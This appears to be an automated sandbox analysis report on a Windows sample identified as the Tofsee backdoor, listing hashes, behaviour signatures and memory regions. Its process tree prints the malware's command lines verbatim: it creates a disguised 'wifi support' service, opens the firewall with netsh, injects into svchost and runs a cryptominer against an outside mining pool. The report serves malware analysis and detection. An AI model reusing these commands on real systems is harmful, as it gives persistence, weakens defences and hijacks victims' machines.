Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    13-11-2020 15:17

General

  • Target

    6d8377fe5f324cd744ce2e2a3502a6d3dd53ac18c1033aad6282c90625e68687.exe

  • Size

    14.7MB

  • MD5

    34d46644b3f66a809ab14f8020b5c279

  • SHA1

    99d1658b6f6a4c6b75de5fb9ed82da6df7d5f249

  • SHA256

    6d8377fe5f324cd744ce2e2a3502a6d3dd53ac18c1033aad6282c90625e68687

  • SHA512

    1d858610a192be320848a9a1b9016430debcca6f0c21efcbe539477762030809a9f8fa0bfabc26c2c07d941f5a600427ef169bbd8766943b1d14057d8c6aad4c

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\6d8377fe5f324cd744ce2e2a3502a6d3dd53ac18c1033aad6282c90625e68687.exe
    "C:\Users\Admin\AppData\Local\Temp\6d8377fe5f324cd744ce2e2a3502a6d3dd53ac18c1033aad6282c90625e68687.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3940
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\xhbgflis\
      2⤵
        PID:2916
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\jsmrjidz.exe" C:\Windows\SysWOW64\xhbgflis\
        2⤵
          PID:3968
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create xhbgflis binPath= "C:\Windows\SysWOW64\xhbgflis\jsmrjidz.exe /d\"C:\Users\Admin\AppData\Local\Temp\6d8377fe5f324cd744ce2e2a3502a6d3dd53ac18c1033aad6282c90625e68687.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:2692
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description xhbgflis "wifi internet conection"
            2⤵
              PID:2300
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start xhbgflis
              2⤵
                PID:2764
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1132
              • C:\Windows\SysWOW64\xhbgflis\jsmrjidz.exe
                C:\Windows\SysWOW64\xhbgflis\jsmrjidz.exe /d"C:\Users\Admin\AppData\Local\Temp\6d8377fe5f324cd744ce2e2a3502a6d3dd53ac18c1033aad6282c90625e68687.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:1136
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Modifies service
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:3928
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4072

              Network

              MITRE ATT&CK Enterprise v6

              Replay Monitor

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              Downloads

              • C:\Users\Admin\AppData\Local\Temp\jsmrjidz.exe
                MD5

                1a3de3de4b7d6f5654f05d3fdd2c0b3c

                SHA1

                10f1e1de90ab4c77cde5cfdbfe61d1e45fda37aa

                SHA256

                97d375d8fe1bb1514a3c1fb88441b17373b000fe329513ef806fdc9796550abb

                SHA512

                5e19c6d231facbec085794b7c72060b7649d210343e4de2c3a956b26c5ae7b9347b97f9c8e58e5bcf41a607cd0dd581f0647a7505ea4c63d20ac3b077176a7b0

              • C:\Windows\SysWOW64\xhbgflis\jsmrjidz.exe
                MD5

                1a3de3de4b7d6f5654f05d3fdd2c0b3c

                SHA1

                10f1e1de90ab4c77cde5cfdbfe61d1e45fda37aa

                SHA256

                97d375d8fe1bb1514a3c1fb88441b17373b000fe329513ef806fdc9796550abb

                SHA512

                5e19c6d231facbec085794b7c72060b7649d210343e4de2c3a956b26c5ae7b9347b97f9c8e58e5bcf41a607cd0dd581f0647a7505ea4c63d20ac3b077176a7b0

              • memory/1132-9-0x0000000000000000-mapping.dmp
              • memory/1136-11-0x0000000002B80000-0x0000000002B81000-memory.dmp
                Filesize

                4KB

              • memory/1136-10-0x0000000002A8C000-0x0000000002A8E000-memory.dmp
                Filesize

                8KB

              • memory/2300-6-0x0000000000000000-mapping.dmp
              • memory/2692-5-0x0000000000000000-mapping.dmp
              • memory/2764-7-0x0000000000000000-mapping.dmp
              • memory/2916-2-0x0000000000000000-mapping.dmp
              • memory/3928-12-0x0000000000890000-0x00000000008A5000-memory.dmp
                Filesize

                84KB

              • memory/3928-13-0x0000000000899A6B-mapping.dmp
              • memory/3928-15-0x0000000004750000-0x000000000495F000-memory.dmp
                Filesize

                2.1MB

              • memory/3928-16-0x00000000009A0000-0x00000000009A6000-memory.dmp
                Filesize

                24KB

              • memory/3928-17-0x00000000009B0000-0x00000000009C0000-memory.dmp
                Filesize

                64KB

              • memory/3928-18-0x00000000009C0000-0x00000000009C5000-memory.dmp
                Filesize

                20KB

              • memory/3928-19-0x0000000008E50000-0x000000000925B000-memory.dmp
                Filesize

                4.0MB

              • memory/3928-20-0x00000000009E0000-0x00000000009E7000-memory.dmp
                Filesize

                28KB

              • memory/3940-1-0x0000000002C20000-0x0000000002C21000-memory.dmp
                Filesize

                4KB

              • memory/3940-0-0x0000000002851000-0x0000000002852000-memory.dmp
                Filesize

                4KB

              • memory/3968-3-0x0000000000000000-mapping.dmp
              • memory/4072-21-0x0000000000C80000-0x0000000000D71000-memory.dmp
                Filesize

                964KB

              • memory/4072-23-0x0000000000D1259C-mapping.dmp